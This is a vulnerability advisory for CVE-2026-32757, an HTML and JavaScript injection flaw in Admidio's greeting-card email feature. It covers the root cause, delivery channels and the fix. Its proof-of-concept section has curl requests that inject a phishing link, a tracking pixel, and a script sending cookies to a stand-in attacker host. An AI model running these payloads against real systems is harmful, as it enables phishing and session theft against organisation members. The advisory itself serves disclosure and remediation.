PT-2026-25855 · Packagist · Admidio/Admidio

Published

2026-03-16

·

Updated

2026-03-16

·

CVE-2026-32757

CVSS v3.1
5.4
VectorAV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

The eCard send handler in Admidio uses the raw
$ POST['ecard message']
value instead of the HTMLPurifier-sanitized
$formValues['ecard message']
when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the
ecard message
field during form validation.

Details

Root Cause

File:
D:bugcrowdadmidiorepomodulesphotosecard send.php
At line 38, the raw POST value is captured BEFORE form validation runs:
$postMessage = $ POST['ecard message']; // Line 38: RAW value
At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard message is registered as an editor field):
$formValues = $photosEcardSendForm->validate($ POST); // Line 61: sanitized
The sanitized value is stored in
$formValues['ecard message']
, but this value is never used. Instead, the raw
$postMessage
is passed to
parseEcardTemplate()
at lines 159 and 201:
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201

Template Injection

File:
D:bugcrowdadmidioreposrcPhotosValueObjectECard.php
, line 144
The
parseEcardTemplate()
method places the message directly into the HTML template without any encoding:
$pregRepArray['/<%ecard message%>/'] = $ecardMessage; // Line 144: no encoding
Compare this to the recipient fields which ARE properly encoded:
$pregRepArray['/<%ecard reciepient email%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135
$pregRepArray['/<%ecard reciepient name%>/'] = SecurityUtils::encodeHTML($recipientName);  // Line 136

Inconsistency with Preview

File:
D:bugcrowdadmidiorepomodulesphotosecard preview.php
, line 56
The preview correctly uses the sanitized value:
$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard message'], ...));
This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:
  1. HTML Email (primary vector): At line 218 of
    ECard.php
    , the parsed template is set as the email body via
    $email->setText($ecardHtmlData)
    followed by
    $email->setHtmlMail()
    . The malicious HTML is rendered by the recipient's email client.
  2. Database Storage: At line 214 of
    ecard send.php
    ,
    $message->addContent($ecardHtmlData)
    stores the raw HTML in the messages table. However,
    MessageContent::getValue()
    applies
    SecurityUtils::encodeHTML()
    on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.
Step 1: Send an eCard with injected HTML
curl -X POST "https://TARGET/adm program/modules/photos/ecard send.php" 
 -H "Cookie: ADMIDIO SESSION ID=<session>" 
 -d "adm csrf token=<csrf token>" 
 -d "ecard template=<valid template.tpl>" 
 -d "photo uuid=<valid photo uuid>" 
 -d "photo nr=1" 
 -d "ecard message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" 
 -d "ecard recipients[]=<target user uuid>"
The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.
Step 2: Escalated payload with script injection
curl -X POST "https://TARGET/adm program/modules/photos/ecard send.php" 
 -H "Cookie: ADMIDIO SESSION ID=<session>" 
 -d "adm csrf token=<csrf token>" 
 -d "ecard template=<valid template.tpl>" 
 -d "photo uuid=<valid photo uuid>" 
 -d "photo nr=1" 
 -d "ecard message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" 
 -d "ecard recipients[]=<target user uuid>"
Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

  • Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
  • HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
  • Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
  • Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In
ecard send.php
, use the sanitized
$formValues['ecard message']
instead of the raw
$ POST['ecard message']
:
// Line 38: Remove this line
// $postMessage = $ POST['ecard message'];

// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($ POST);
$postMessage = $formValues['ecard message'];
Additionally, in
ECard::parseEcardTemplate()
, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:
// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard message%>/'] = $ecardMessage;

Fix

XSS

Weakness Enumeration

Related Identifiers

CVE-2026-32757
GHSA-4WR4-F2QF-X5WJ

Affected Products

Admidio/Admidio